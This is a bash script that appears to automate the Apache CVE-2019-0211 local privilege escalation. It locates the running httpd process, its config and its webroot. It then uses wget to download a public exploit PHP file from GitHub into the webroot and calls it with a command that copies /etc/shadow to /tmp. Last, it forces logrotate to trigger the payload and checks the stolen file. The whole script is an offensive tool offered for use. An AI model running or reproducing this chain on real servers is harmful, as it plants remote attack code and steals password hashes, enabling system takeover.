#!/bin/bash

function get_loaded_modules() {
    local pid="$1"
    local i=1

    for httpd_module in `sudo lsof -p 1186 | grep -oP '(?<=/usr/lib64/httpd/modules/)mod[^\.]*' | sort -u`
    do
        httpd_modules[$i]=$httpd_module
        i=$((i+1))
    done

    echo "${httpd_modules[*]}"
}

HTTPD_PID=$(ps -e  | grep httpd | head -n 1 | grep -oP '(?!:\s+)[1-9][0-9]*')

if [ ! -z "${HTTPD_PID}" ]
then
    HTTPD_BIN=$(ps -ef  | grep httpd | head -n 1 | grep -oP '(?!:\s+\?\s+[0-9:]+\s+)/[^\s]*')
    HTTPD_CONF=$(echo "${HTTPD_BIN}" | sed 's#bin/httpd#conf/httpd.conf#gi')
    if [ ! -f "${HTTPD_CONF}" ]
    then
        if [ -f "/etc/httpd/conf/httpd.conf" ]
        then
            HTTPD_CONF="/etc/httpd/conf/httpd.conf"
        else
            echo "Couldn't locate HTTPd configuration file ."
            exit 1
        fi
    fi
    HTTPD_WEBROOT_PATH=$(grep -oiP '(?<=DocumentRoot ")[^"]*' "${HTTPD_CONF}" | head -n 1)
    HTTPD_MODULES=($(get_loaded_modules "${HTTPD_PID}"))

    echo "[HTTPD]    Process ID: ${HTTPD_PID}"
    echo "[HTTPD]   Binary Path: ${HTTPD_BIN}"
    echo "[HTTPD] Webroot Path : ${HTTPD_WEBROOT_PATH}"

#    gdb "${HTTPD_BIN}" "${HTTPD_PID}"
    wget https://raw.githubusercontent.com/cfreal/exploits/master/CVE-2019-0211-apache/cfreal-carpediem.php -O ${HTTPD_WEBROOT_PATH}/CVE20190211.php
    sleep 1
    curl -v http://127.0.0.1/CVE20190211.php?cmd=cp+/etc/shadow+/tmp/kek
    sudo /usr/sbin/logrotate /etc/logrotate.conf --force
    ls -alh /tmp/kek
else
    echo "[ERROR] httpd is not running ."
fi
